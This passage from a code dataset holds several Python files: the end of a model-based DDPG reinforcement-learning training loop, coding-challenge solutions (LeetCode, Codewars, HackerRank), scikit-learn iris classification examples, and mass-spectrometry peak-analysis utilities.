reward_scale=reward_scale)\n\n    logger.info('Using agent with the following configuration:')\n    logger.info(str(agent.__dict__.items()))\n\n    sess = U.get_session()\n\n    if restore:\n        agent.restore(sess, model_path, model_name)\n    else:\n        agent.initialize(sess)\n        sess.graph.finalize()\n    agent.reset()\n\n    episodes = 0\n    epochs_rewards = np.zeros((nb_epochs, nb_epoch_cycles), dtype=np.float32)\n    epochs_times = np.zeros((nb_epochs, nb_epoch_cycles), dtype=np.float32)\n    epochs_steps = np.zeros((nb_epochs, nb_epoch_cycles), dtype=np.float32)\n    epochs_states = []\n    for epoch in range(nb_epochs):\n        logger.info(\"======================== The {} epoch start !!! =========================\".format(epoch))\n        epoch_episode_rewards = []\n        epoch_episode_steps = []\n        epoch_episode_times = []\n        epoch_actions = []\n        epoch_episode_states = []\n        epoch_qs = []\n        epoch_episodes = 0\n        for cycle in range(nb_epoch_cycles):\n            start_time = time.time()\n            obs, state, done = env.reset()\n            obs_reset = cp.deepcopy(obs)\n            episode_reward = 0.\n            episode_step = 0\n            episode_states = []\n            logger.info(\"================== The {} episode start !!! ===================\".format(cycle))\n            for t_rollout in range(nb_rollout_steps):\n                logger.info(\"================== The {} steps finish  !!! ===================\".format(t_rollout))\n\n                \"\"\" Predict next action \"\"\"\n                action, q, _, _ = agent.step(obs, stddev, apply_noise=True, compute_Q=True)\n\n                new_obs, next_state, r, done, safe_or_not, final_action = env.step(max_action * action, t_rollout)\n\n                if safe_or_not is False:\n                    break\n\n                episode_reward += r\n                episode_step += 1\n                episode_states.append([cp.deepcopy(state), cp.deepcopy(final_action), np.array(cp.deepcopy(r)), cp.deepcopy(next_state)])\n\n                epoch_actions.append(action)\n                epoch_qs.append(q)\n\n                agent.store_transition(obs, action, r, new_obs, done)\n                obs = new_obs\n                state = next_state\n\n                if done:\n                    break\n\n                \"\"\" extend the memory \"\"\"\n                if model_based and cycle > (nb_model_learning + 1) and memory_extend:\n                    pred_x = np.zeros((1, 18), dtype=np.float32)\n                    for j in range(nb_samples_extend):\n                        m_action, _, _, _ = agent.step(obs, stddev, apply_noise=True, compute_Q=False)\n                        pred_x[:, :12] = obs\n                        pred_x[:, 12:] = m_action\n                        m_new_obs = dynamic_model.predict(pred_x)[0]\n                        \"\"\" get real reward \"\"\"\n                        # state = env.inverse_state(m_new_obs)\n                        # m_reward = env.get_reward(state, m_action)\n                        m_reward = reward_model.predict(pred_x)[0]\n                        agent.store_transition(obs, m_action, m_reward, m_new_obs, done)\n\n            \"\"\" generate new data and fit model\"\"\"\n            if model_based and cycle > nb_model_learning:\n                logger.info(\"==============================  Model Fit !!! ===============================\")\n                input_x = np.concatenate((memory.observations0.data[:memory.nb_entries], memory.actions.data[:memory.nb_entries]), axis=1)\n                input_y_obs = memory.observations1.data[:memory.nb_entries]\n                input_y_reward = memory.rewards.data[:memory.nb_entries]\n                dynamic_model.fit(input_x, input_y_obs)\n                reward_model.fit(input_x, input_y_reward)\n\n                if dyna_learning:\n                    logger.info(\"=========================  Collect data !!! =================================\")\n                    pred_obs = np.zeros((1, 18), dtype=np.float32)\n                    for sample_index in range(nb_sample_cycle):\n                        fake_obs = obs_reset\n                        for t_episode in range(nb_sample_steps):\n                            fake_action, _, _, _ = agent.step(fake_obs, stddev, apply_noise=True, compute_Q=False)\n                            pred_obs[:, :12] = fake_obs\n                            pred_obs[:, 12:] = fake_action\n                            next_fake_obs = dynamic_model.predict(pred_obs)[0]\n                            fake_reward = reward_model.predict(pred_obs)[0]\n                            # next_fake_obs = dynamic_model.predict(np.concatenate((fake_obs, fake_action)))[0]\n                            # fake_reward = reward_model.predict(np.concatenate((fake_obs, fake_action)))[0]\n                            fake_obs = next_fake_obs\n                            fake_terminals = False\n                            fake_memory.append(fake_obs, fake_action, fake_reward, next_fake_obs, fake_terminals)\n\n            \"\"\" noise decay \"\"\"\n            stddev = float(stddev) * 0.95\n\n            duration = time.time() - start_time\n            epoch_episode_rewards.append(episode_reward)\n            epoch_episode_steps.append(episode_step)\n            epoch_episode_times.append(cp.deepcopy(duration))\n            epoch_episode_states.append(cp.deepcopy(episode_states))\n\n            epochs_rewards[epoch, cycle] = episode_reward\n            epochs_steps[epoch, cycle] = episode_step\n            epochs_times[epoch, cycle] = cp.deepcopy(duration)\n\n            logger.info(\"============================= The Episode_Times:: {}!!! ============================\".format(epoch_episode_rewards))\n            logger.info(\"============================= The Episode_Times:: {}!!! ============================\".format(epoch_episode_times))\n\n            epoch_episodes += 1\n            episodes += 1\n\n            \"\"\" Training process \"\"\"\n            epoch_actor_losses = []\n            epoch_critic_losses = []\n            epoch_adaptive_distances = []\n            for t_train in range(nb_train_steps):\n                logger.info(\"\")\n                # Adapt param noise, if necessary.\n                if memory.nb_entries >= batch_size and t_train % param_noise_adaption_interval == 0:\n                    distance = agent.adapt_param_noise()\n                    epoch_adaptive_distances.append(distance)\n                cl, al = agent.train()\n                epoch_critic_losses.append(cl)\n                epoch_actor_losses.append(al)\n                agent.update_target_net()\n\n            \"\"\" planning training \"\"\"\n            if model_based and cycle > (nb_model_learning + 1) and dyna_learning:\n                for t_train in range(nb_train_steps):\n                    # setting for adapt param noise, if necessary.\n                    if fake_memory.nb_entries >= batch_size and t_train % param_noise_adaption_interval == 0:\n                        distance = agent.adapt_param_noise()\n                        epoch_adaptive_distances.append(distance)\n                    batch = fake_memory.sample(batch_size=batch_size)\n                    fake_cl, fake_al = agent.train_fake_data(batch)\n                    epoch_critic_losses.append(fake_cl)\n                    epoch_actor_losses.append(fake_al)\n                    agent.update_target_net()\n\n        epochs_states.append(cp.deepcopy(epoch_episode_states))\n\n        # # save data\n        np.save(data_path + 'train_reward_' + algorithm_name + '_' + noise_type + file_name, epochs_rewards)\n        np.save(data_path + 'train_step_' + algorithm_name + '_' + noise_type + file_name, epochs_steps)\n        np.save(data_path + 'train_states_' + algorithm_name + '_' + noise_type + file_name, epochs_states)\n        np.save(data_path + 'train_times_' + algorithm_name + '_' + noise_type + file_name, epochs_times)\n\n    # # agent save\n    agent.store(model_path + 'train_model_' + algorithm_name + '_' + noise_type + file_name)\n\n\nif __name__ == '__main__':\n\n    algorithm_name = 'dyna_nn_ddpg'\n    env = env_search_control(step_max=200, fuzzy=False, add_noise=False)\n    data_path = './prediction_data/'\n    model_path = './prediction_model/'\n    file_name = '_epochs_5_episodes_100_none_fuzzy'\n    model_name = './prediction_model/'\n    learn(network='mlp',\n          env=env,\n          data_path=data_path,\n          model_based=True,\n          memory_extend=False,\n          dyna_learning=True,\n          model_type='mlp',\n          noise_type='normal_0.2',\n          file_name=file_name,\n          model_path=model_path,\n          model_name=model_name,\n          restore=False,\n          nb_epochs=5,\n          nb_sample_steps=50,\n          nb_samples_extend=10,\n          nb_model_learning=30,\n          nb_epoch_cycles=100,\n          nb_train_steps=60,\n          nb_rollout_steps=200)","sub_path":"baselines/ddpg/ddpg.py","file_name":"ddpg.py","file_ext":"py","file_size_in_byte":14434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"70693840","text":"#\n# @lc app=leetcode id=21 lang=python3\n#\n# [21] Merge Two Sorted Lists\n#\n# https://leetcode.com/problems/merge-two-sorted-lists/description/\n#\n# algorithms\n# Easy (51.04%)\n# Likes:    3261\n# Dislikes: 485\n# Total Accepted:    825.8K\n# Total Submissions: 1.6M\n# Testcase Example:  '[1,2,4]\\n[1,3,4]'\n#\n# Merge two sorted linked lists and return it as a new list. The new list\n# should be made by splicing together the nodes of the first two lists.\n# \n# Example:\n# \n# Input: 1->2->4, 1->3->4\n# Output: 1->1->2->3->4->4\n# \n# \n#\n\n# @lc code=start\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nclass Solution:\n    # Time complexitly: O(m + n)\n    # Space complexity: O(m + n ) -- Create nodes and connect them \n    def my_solution(self, l1, l2):\n        if not l1:\n            return l2\n        if not l2:\n            return l1\n\n        if l1.val > l2.val:\n            current_node = ListNode(l2.val)\n            l2 = l2.next\n        else:\n            current_node = ListNode(l1.val)\n            l1 = l1.next\n\n        res = current_node\n\n        while l1 or l2:\n            if l1 and l2:\n                if l1.val > l2.val:\n                    current_node.next = ListNode(l2.val)\n                    l2 = l2.next\n                else:\n                    current_node.next = ListNode(l1.val)\n                    l1 = l1.next\n            elif l1:\n                current_node.next = ListNode(l1.val)\n                l1 = l1.next\n            else:\n                current_node.next = ListNode(l2.val)\n                l2 = l2.next\n            current_node = current_node.next\n\n        return res\n\n\n    # Time complexity: O(m + n)\n    # Space complexity: O(1) -- Connect existing nodes\n    # This approach create an new node at the first place and link it to the existing nodes \n    def ref_solution(self, l1: ListNode, l2: ListNode) -> ListNode:\n        pointer = ListNode(0)\n        res = pointer\n        while l1 and l2:\n            if l1.val > l2.val:\n               pointer.next = l2\n               l2 = l2.next\n            else:\n                pointer.next = l1\n                l1 = l1.next\n            pointer = pointer.next\n        # if one of the linked list have not been traversed, link the rest to the pointer\n        if l1:\n            pointer.next = l1\n        if l2:\n            pointer.next = l2\n        return res.next\n        ","sub_path":"leetcode/Two Pointers/21. Merge Two Sorted Lists.py","file_name":"21. Merge Two Sorted Lists.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"154077147","text":"# -*- coding: utf-8 -*-\n# @Author: staticor\n# @Date:   2016-11-09 18:43:47\n# @Last Modified by:   staticor\n# @Last Modified time: 2016-11-09 18:54:00\n\nurl = \"https://www.codewars.com/kata/55983863da40caa2c900004e/train/python\"\nl = lambda x: len(str(x))\ndef next_bigger(n):\n    if l(n) < 2 or len(set(str(n))) < 2:\n        return -1\n    m = list(map(str, str(n)))\n    m = m[::-1]\n    print(m)\n\n    for idx, ele in enumerate(m):\n        print(\"           \", idx, ele)\n        if idx == 0:\n            continue\n        else:\n            temp = int(''.join(m[:idx+1][::-1]))\n            if int(ele) <= int(m[idx-1]):\n                continue\n            else:\n                t = int(temp)\n                prefix = int(''.join(m[idx+1:][::-1]))\n\n                print(t, prefix)\n\n\nx = 597834\n\nprint(next_bigger(x))\n","sub_path":"next_bigger.py","file_name":"next_bigger.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"534095958","text":"#https://www.hackerrank.com/challenges/alternating-characters?h_r=next-challenge&h_v=zen\n\n#!/bin/python3\n\nimport sys\n\ndef alternatingCharacters(s):\n    # Complete this function\n    i=1\n    c = 0\n    while i < len(s):\n        if s[i] == s[i-1]:\n            s.pop(i)\n            c += 1\n        else:\n            i += 1\n    return c\n\n\nq = int(input().strip())\nfor a0 in range(q):\n    s = list(input().strip())\n    result = alternatingCharacters(s)\n    print(result)\n","sub_path":"alternating_characters.py","file_name":"alternating_characters.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"273891551","text":"from sklearn import datasets\r\nimport matplotlib.pyplot as plt\r\n\r\nimport numpy as np\r\n\r\niris = datasets.load_iris()\r\nX = iris.data[:, [2,3]]\r\ny = iris.target\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n    X, y, test_size=0.3, random_state=0)\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nsc.fit(X_train)\r\nX_train_std = sc.transform(X_train)\r\nX_test_std = sc.transform(X_test)\r\nfrom sklearn.linear_model import Perceptron\r\nppn = Perceptron(n_iter=40, eta0=0.1, random_state=0, shuffle=True)\r\nppn.fit(X_train_std, y_train)\r\ny_pred = ppn.predict(X_test_std)\r\nprint('Misclassified samples: %d' % (y_test != y_pred).sum())\r\nfrom sklearn.metrics import accuracy_score\r\nprint('Accuracy: %.2f' % accuracy_score(y_test, y_pred))\r\nfrom irismarker import plot_decision_regions\r\nX_combined_std = np.vstack((X_train_std, X_test_std))\r\ny_combined = np.hstack((y_train, y_test))\r\nplot_decision_regions(X=X_combined_std, y=y_combined, classifier=ppn,test_idx=range(105,150))\r\nplt.xlabel('petal length [standardized]')\r\nplt.ylabel('petal width [standardized]')\r\nplt.legend(loc = 'upper left')\r\n#plt.show()\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\nlr = LogisticRegression(C=1000.0, random_state=0)\r\nlr.fit(X_train_std, y_train)\r\nplot_decision_regions(X_combined_std,y_combined, classifier=lr, test_idx=range(105,150))\r\nplt.xlabel('petal length [standardized')\r\nplt.ylabel('petal width [standardized]')\r\nplt.legend(loc='upper left')\r\n#plt.show()\r\n\r\nweights, params = [], []\r\nfor c in np.arange(0, 5):\r\n    lr = LogisticRegression(C=10**c, random_state=c)\r\n    lr.fit(X_train_std, y_train)\r\n    weights.append(lr.coef_[1])\r\n    params.append(10**c)\r\nweights = np.array(weights)\r\nplt.plot(params, weights[:, 0], label='petal length')\r\nplt.plot(params, weights[:, 1], linestyle='-', label='petal length')\r\nplt.ylabel('weight coefficient')\r\nplt.xlabel('c')\r\nplt.legend(loc='upper left')\r\nplt.xscale('log')\r\n#plt.show()\r\n\r\nfrom sklearn.svm import SVC\r\nsvm = SVC(kernel='linear', C=1.0, random_state=0)\r\nsvm.fit(X_train_std, y_train)\r\nplot_decision_regions(X_combined_std,y_combined,classifier=svm,test_idx=range(105,150))\r\nplt.xlabel('petal length [standardized]')\r\nplt.ylabel('petal width [standardized]')\r\nplt.legend(loc='upper left')\r\n#plt.show()\r\n\r\nnp.random.seed(0)\r\nX_xor = np.random.randn(200, 2)\r\ny_xor = np.logical_xor(X_xor[:, 0] > 0, X_xor[:, 1] > 0)\r\ny_xor = np.where(y_xor, 1, -1)\r\nplt.scatter(X_xor[y_xor == 1, 0], X_xor[y_xor == 1, 1], c='b', marker='s', label='1')\r\nplt.scatter(X_xor[y_xor == -1, 0], X_xor[y_xor == -1, 1], c='b', marker='s', label='-1')\r\nplt.xlim([-3, 3])\r\nplt.ylim([-3, 3])\r\nplt.legend(loc='best')\r\n#plt.show()\r\n\r\nsvm = SVC(kernel='rbf', random_state=0, gamma=0.10, C=10.0)\r\nsvm.fit(X_xor,y_xor)\r\nplot_decision_regions(X_xor,y_xor, classifier=svm)\r\nplt.legend(loc='upper left')\r\nplt.show()\r\n\r\nsvm = SVC(kernel='rbf', random_state=0, gamma=0.2, C=1.0)\r\nsvm.fit(X_train_std, y_train)\r\nplot_decision_regions(X_combined_std, y_combined, classifier=svm, test_idx=range(105, 150))\r\nplt.xlabel('petal length [standardized]')\r\nplt.ylabel('petal width [standardized]')\r\nplt.legend(loc='upper left')\r\nplt.show()\r\n\r\n\r\n","sub_path":"book/sample1.py","file_name":"sample1.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"483547389","text":"\nimport numpy\nfrom src.constants import allowed_ppm_error, number_of_normal_scans, normal_scans_indexes_window\n\n\ndef extract_mz_region(spectrum, mz_interval):\n    \"\"\" Method extracts spectrum region based on m/z interval specified. \"\"\"\n\n    mz_values = []\n    intensities = []\n\n    for i in range(len(spectrum['m/z array'])):\n\n        if mz_interval[0] <= spectrum['m/z array'][i] <= mz_interval[1]:\n            mz_values.append(spectrum['m/z array'][i])\n            intensities.append(spectrum['intensity array'][i])\n\n        elif spectrum['m/z array'][i] > mz_interval[1]:\n            break\n\n    return numpy.array(mz_values), numpy.array(intensities)\n\n\ndef get_saturated_peak_mz_range(mz_spectrum, intensities, peak_index):\n    \"\"\" This method looks for mz range of the saturated peak, i.e. mz range of a peak within which all the intensity\n        values are equal. \"\"\"\n\n    saturated_peak_mz_values = [mz_spectrum[peak_index]]\n    saturated_peak_mz_indexes = [peak_index]\n\n    step = 1\n    # go to the left looking for the same intensity values\n    while intensities[peak_index] == intensities[peak_index - step]:\n        saturated_peak_mz_indexes.append(peak_index - step)\n        saturated_peak_mz_values.append(mz_spectrum[peak_index - step])\n        step += 1\n\n    step = 1\n    # go to the right looking for the same intensity values\n    while intensities[peak_index] == intensities[peak_index + step]:\n        saturated_peak_mz_indexes.append(peak_index + step)\n        saturated_peak_mz_values.append(mz_spectrum[peak_index + step])\n        step += 1\n\n    return saturated_peak_mz_values, saturated_peak_mz_indexes\n\n\ndef correct_centroids_indexes(mz_spectrum, intensities, centroids_indexes, expected_ions_info):\n    \"\"\" This method corrects peak-picking result. It looks for flat peaks (with the same maximum intensity value)\n        among expected ones. If there is one, its centroid index is corrected so that it's closer to the expected value. \"\"\"\n\n    left_corrected_peak_index, right_corrected_peak_index, left_min_mz_diffs, right_min_mz_diffs = None, None, None, None\n\n    expected_peaks_list = expected_ions_info['expected_mzs']\n\n    for i in range(len(expected_peaks_list)):\n\n        # find closest peak index to the expected one\n        closest_index = 0\n        while mz_spectrum[centroids_indexes[closest_index]] < expected_peaks_list[i] and closest_index+1 < len(centroids_indexes):\n            closest_index += 1\n\n        # check two neighboring peaks (left and right) for flat apex\n        left_peak_is_flat = False\n        right_peak_is_flat = False\n\n        if intensities[centroids_indexes[closest_index-1]-1] == intensities[centroids_indexes[closest_index-1]] or \\\n                intensities[centroids_indexes[closest_index-1]] == intensities[centroids_indexes[closest_index-1]+1]:\n\n            left_peak_is_flat = True\n\n            flat_apex_mz_values, flat_apex_mz_indexes = get_saturated_peak_mz_range(mz_spectrum, intensities,\n                                                                                      centroids_indexes[closest_index-1])\n            # find closest mz\n            mz_diffs = abs(numpy.array(flat_apex_mz_values) - expected_peaks_list[i])\n            left_min_mz_diffs = min(abs(mz_diffs))\n            closest_mz_index = int(mz_diffs[numpy.where(mz_diffs == left_min_mz_diffs)])\n\n            left_corrected_peak_index = flat_apex_mz_indexes[closest_mz_index]\n\n        else:\n            pass\n\n        if intensities[centroids_indexes[closest_index]-1] == intensities[centroids_indexes[closest_index]] or \\\n                intensities[centroids_indexes[closest_index]] == intensities[centroids_indexes[closest_index]+1]:\n\n            right_peak_is_flat = True\n\n            flat_apex_mz_values, flat_apex_mz_indexes = get_saturated_peak_mz_range(mz_spectrum, intensities,\n                                                                                      centroids_indexes[closest_index])\n            # find closest mz\n            mz_diffs = abs(numpy.array(flat_apex_mz_values) - expected_peaks_list[i])\n            right_min_mz_diffs = min(abs(mz_diffs))\n            closest_mz_index = int(mz_diffs[numpy.where(mz_diffs == right_min_mz_diffs)])\n\n            right_corrected_peak_index = flat_apex_mz_indexes[closest_mz_index]\n\n        else:\n            pass\n\n        # nothing to correct if both peaks are not flat\n        if not left_peak_is_flat and not right_peak_is_flat:\n            continue\n\n        # make correction for right one\n        elif not left_peak_is_flat and right_peak_is_flat:\n            centroids_indexes[closest_index] = right_corrected_peak_index\n        # make correction for left one\n        elif left_peak_is_flat and not right_peak_is_flat:\n            centroids_indexes[closest_index-1] = left_corrected_peak_index\n        else:\n            # choose the closest saturated peak and make correction then\n            if left_min_mz_diffs < right_min_mz_diffs:\n                centroids_indexes[closest_index-1] = left_corrected_peak_index\n            else:\n                centroids_indexes[closest_index] = right_corrected_peak_index\n\n    return centroids_indexes\n\n\ndef find_closest_centroids(mz_spectrum, centroids_indexes, expected_ions_info):\n    \"\"\" This method looks for all the expected peaks in the list of centroids. \"\"\"\n\n    expected_peaks_list = expected_ions_info['expected_mzs']\n    expected_peaks_ids = expected_ions_info['ions_ids']\n\n    # actual peaks out of expected ones\n    actual_peaks = []\n\n    for i in range(len(expected_peaks_list)):\n\n        closest_peak_index, centroid_ppm = find_closest_peak_index(mz_spectrum, centroids_indexes, expected_peaks_list[i])\n\n        isotopes, isotopic_ratios, fragments = find_expected_isotopes_and_fragments(expected_peaks_list[i],\n                                                                                    expected_ions_info['isotopes_mzs'],\n                                                                                    expected_ions_info['fragments_mzs'],\n                                                                                    expected_ions_info['expected_isotopic_ratios'])\n\n        if closest_peak_index < 0:\n            another_peak = {\n                'present': False,\n                'expected_mz': expected_peaks_list[i],\n                'id': expected_peaks_ids[i],\n                'expected_isotopes': isotopes,  # expected (theoretical) isotopes related to this ion (incl. itself)\n                'expected_fragments': fragments,  # expected (theoretical) fragments related to this ion (incl. itself)\n                'expected_isotopic_ratios': isotopic_ratios\n            }\n        else:\n            another_peak = {\n                'present': True,\n                'expected_mz': expected_peaks_list[i],  # expected (theoretical) mz\n                'id': expected_peaks_ids[i],\n                'mz': mz_spectrum[centroids_indexes[closest_peak_index]],  # measured mz\n                'index': centroids_indexes[closest_peak_index],\n                'expected_isotopes': isotopes,  # expected (theoretical) isotopes related to this ion (incl. itself)\n                'expected_isotopic_ratios': isotopic_ratios,\n                'expected_fragments': fragments,  # expected (theoretical) fragments related to this ion (incl. itself)\n                'centroid_ppm': centroid_ppm  # ppm between expected peak and actual peak centroid\n            }\n\n        actual_peaks.append(another_peak)\n\n    return actual_peaks\n\n\ndef find_expected_isotopes_and_fragments(expected_peak_mz, isotopes_mz_lists, fragments_mz_lists, isotopic_ratios_lists):\n    \"\"\" This method returns a list of expected isotopes and a list of expected fragments if there are any. \"\"\"\n\n    # TODO: review & refactor: method was revisited since v.0.2.15, may be redundant now\n\n    isotopes, fragments, ratios = [], [], []\n\n    for isotope_list in isotopes_mz_lists:\n        # if this is a major ion having the other isotopes\n        if expected_peak_mz == isotope_list[0]:\n            # add to the list the other isotopes\n            isotopes = isotope_list[0:len(isotope_list)]\n            index = isotopes_mz_lists.index(isotope_list)\n            ratios = isotopic_ratios_lists[index][0:len(isotopic_ratios_lists[index])]\n            break\n\n    for fragments_list in fragments_mz_lists:\n        # if this is a major ion having potential fragments (may be fragmented)\n        if expected_peak_mz == fragments_list[0]:\n            # add to the list these potential fragments\n            fragments = fragments_list[0:len(fragments_list)]\n            break\n\n    return isotopes, ratios, fragments\n\n\ndef find_closest_peak_index(mz_spectrum, peaks_indexes, expected_peak_mz):\n    \"\"\" This method finds the closest peak to the expected one within centroids list.\n        If in the vicinity of allowed ppm there is no peak, the peak is considered to be missing. \"\"\"\n\n    closest_index = 0\n    while mz_spectrum[peaks_indexes[closest_index]] < expected_peak_mz and closest_index+1 < len(peaks_indexes):\n        closest_index += 1\n\n    previous_peak_ppm = abs(mz_spectrum[peaks_indexes[closest_index-1]] - expected_peak_mz) / expected_peak_mz * 10 ** 6\n    next_peak_ppm = abs(mz_spectrum[peaks_indexes[closest_index]] - expected_peak_mz) / expected_peak_mz * 10 ** 6\n\n    if previous_peak_ppm <= next_peak_ppm and previous_peak_ppm <= allowed_ppm_error:\n        return closest_index-1, previous_peak_ppm\n\n    elif previous_peak_ppm > next_peak_ppm and next_peak_ppm <= allowed_ppm_error:\n        return closest_index, next_peak_ppm\n\n    else:\n        return -1, None\n\n\ndef locate_annotated_peak(mz_region, spectrum):\n    \"\"\" This method finds the accurate m/z and intensity values\n        for visually chosen peaks and hardcoded m/z region for them. \"\"\"\n\n    local_max_intensity = -1\n\n    for i in range(len(spectrum['m/z array'])):\n\n        if mz_region[0] <= spectrum['m/z array'][i] <= mz_region[1]:\n\n            if local_max_intensity <= spectrum['intensity array'][i]:\n                local_max_intensity = spectrum['intensity array'][i]\n            else:\n                pass\n\n        elif spectrum['m/z array'][i] > mz_region[1]:\n            break\n\n    if local_max_intensity < 0:\n        raise ValueError\n\n    accurate_intensity_value = local_max_intensity\n    accurate_mz_value = spectrum['m/z array'][list(spectrum['intensity array']).index(local_max_intensity)]\n\n    return accurate_mz_value, accurate_intensity_value\n\n\ndef get_peak_fitting_region(spectrum, index):\n    \"\"\" This method extracts the peak region indexes (peak with tails) for a peak of the given index.\n        The region is being prolonged unless the intensity value goes up again. So the tails are always descending. \"\"\"\n\n    left_border = -1\n\n    step = 0\n    while left_border < 0:\n\n        if spectrum['intensity array'][index-step-1] <= spectrum['intensity array'][index-step]:\n            step += 1\n        else:\n            left_border = index-step\n\n    right_border = -1\n\n    step = 0\n    while right_border < 0:\n\n        if spectrum['intensity array'][index+step] >= spectrum['intensity array'][index+step+1]:\n            step += 1\n        else:\n            right_border = index+step\n\n    return left_border, right_border\n\n\ndef get_peak_fitting_region_2(spectrum, index):\n    \"\"\" This method extracts the peak region indexes (peak with tails) for a peak of the given index.\n        This version of the method considers two following points instead of one. So the tails may ascend locally,\n        but globally they are also descending. \"\"\"\n\n    local_maximum = spectrum['intensity array'][index]\n\n    left_border = -1\n\n    step_left = 0\n    while left_border < 0:\n\n        if spectrum['intensity array'][index-step_left-1] <= spectrum['intensity array'][index-step_left]:\n            step_left += 1\n\n        elif spectrum['intensity array'][index-step_left] < spectrum['intensity array'][index-step_left-1] < local_maximum \\\n                and spectrum['intensity array'][index-step_left-2] <= spectrum['intensity array'][index-step_left-1]:\n            step_left += 1\n\n        else:\n            break\n\n    right_border = -1\n\n    step_right = 0\n    while right_border < 0:\n\n        if spectrum['intensity array'][index+step_right] >= spectrum['intensity array'][index+step_right+1]:\n            step_right += 1\n\n        elif spectrum['intensity array'][index+step_right] < spectrum['intensity array'][index+step_right+1] < local_maximum \\\n                and spectrum['intensity array'][index+step_right+2] <= spectrum['intensity array'][index+step_right+1]:\n            step_right += 1\n\n        else:\n            break\n\n    # a way to guarantee equal number of point to the left and to the right from the peak\n    left_border = index - min(step_left, step_right)\n    right_border = index + min(step_left, step_right)\n\n    return left_border, right_border\n\n\ndef get_peak_fitting_values(spectrum, peak_region):\n    \"\"\" This method returns mz and intensity values according to the given peak region.\n        The flat apex intensity values, however, are not included. \"\"\"\n\n    mzs, intensities = spectrum['m/z array'][peak_region[0]:peak_region[-1] + 1], \\\n                       spectrum['intensity array'][peak_region[0]:peak_region[-1] + 1]\n\n    is_peak_flat = False\n\n    # correction is made in case the peak is flat\n    corrected_mzs = [mzs[0]]  # add first value\n    corrected_intensities = [intensities[0]]  # add first value\n\n    max_intensity = max(intensities)\n\n    for i in range(1, len(intensities) - 1):\n\n        if intensities[i] == intensities[i-1] and intensities[i] == max_intensity:\n            is_peak_flat = True\n\n        else:\n            # these are normal values -> append\n            corrected_intensities.append(intensities[i])\n            corrected_mzs.append(mzs[i])\n\n    # add last values\n    corrected_intensities.append(intensities[-1])\n    corrected_mzs.append(mzs[-1])\n\n    return numpy.array(corrected_mzs), numpy.array(corrected_intensities), is_peak_flat\n\n\ndef get_peak_width_and_predicted_mz(peak_region, spectrum, fitted_model):\n    \"\"\" This method calculates peak resolution. \"\"\"\n\n    # define the intensity of the desired mz range\n    intensity_at_half_height = max(spectrum['intensity array'][peak_region[0]:peak_region[-1] + 1]) / 2\n\n    # find predicted peak mz\n    xc = numpy.linspace(spectrum['m/z array'][peak_region[0]], spectrum['m/z array'][peak_region[-1]], 101)\n    yc = fitted_model.eval(x=xc)\n\n    predicted_peak_mz = float(xc[numpy.where(yc == max(yc))])\n    # define step to evaluate model to the left and to the right of the peak\n    mz_step = max(\n        abs(predicted_peak_mz - spectrum['m/z array'][peak_region[0]]),\n        abs(predicted_peak_mz - spectrum['m/z array'][peak_region[-1]])\n    )\n\n    i = 1\n    while True:\n\n        # extend region with i mz-steps to look for desired mz value\n        xc = numpy.linspace(predicted_peak_mz - i * mz_step, predicted_peak_mz + i * mz_step, i*100+1)\n        yc = fitted_model.eval(x=xc)\n\n        # if current region covers the intensity of the desired mz\n        if min(yc) < intensity_at_half_height:\n\n            residuals = abs(numpy.array(yc) - intensity_at_half_height)\n\n            # find mz value of desired intensity\n            half_height_mz = float(xc[numpy.where(residuals == min(residuals))][0])  # for ideally symmetrical peak the left point is taken\n\n            half_peak_width = abs(predicted_peak_mz - half_height_mz)\n\n            return 2 * half_peak_width, predicted_peak_mz\n\n        else:\n            i += 1\n\n\ndef get_integration_arrays(mz_array, intensity_array, left_point_mz, right_point_mz):\n    \"\"\" This method gets raw data arrays for integration given the desired boundaries (left and right point). \"\"\"\n\n    # find boundaries in the raw data to ingrate within\n    mzs = []\n    intensities = []\n\n    for i in range(len(mz_array)):\n\n        if left_point_mz <= mz_array[i] <= right_point_mz:\n\n            mzs.append(mz_array[i])\n            intensities.append(intensity_array[i])\n\n        elif mz_array[i] > right_point_mz:\n            break\n\n    return intensities, mzs\n\n\ndef get_best_tic_scans_indexes(spectra, n=number_of_normal_scans, in_test_mode=False):\n    \"\"\" This method finds max TIC within the spectra and returns n following scans indexes. \"\"\"\n\n    if in_test_mode:\n        # for mzxml data structure\n        tic_field_name = \"totIonCurrent\"\n    else:\n        # for custom data structure built on mz5\n        tic_field_name = \"tic\"\n\n    max_tic_scan = (0, spectra[0][tic_field_name])\n\n    number_from, number_to = normal_scans_indexes_window\n\n    for i in range(number_from, number_to):\n        if spectra[i][tic_field_name] > max_tic_scan[1]:\n            max_tic_scan = (i, spectra[i][tic_field_name])\n\n    best_tic_scans_indexes = [max_tic_scan[0]+i for i in range(n)]\n\n    if in_test_mode:\n        # # add saturated scans for testing\n        # best_tic_scans_indexes.append(18)  # for file 007 from test1\n        # best_tic_scans_indexes.append(60)  # for file 042 from test1\n        pass\n\n    return best_tic_scans_indexes\n","sub_path":"src/msfe/ms_operator.py","file_name":"ms_operator.py","file_ext":"py","file_size_in_byte":17095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
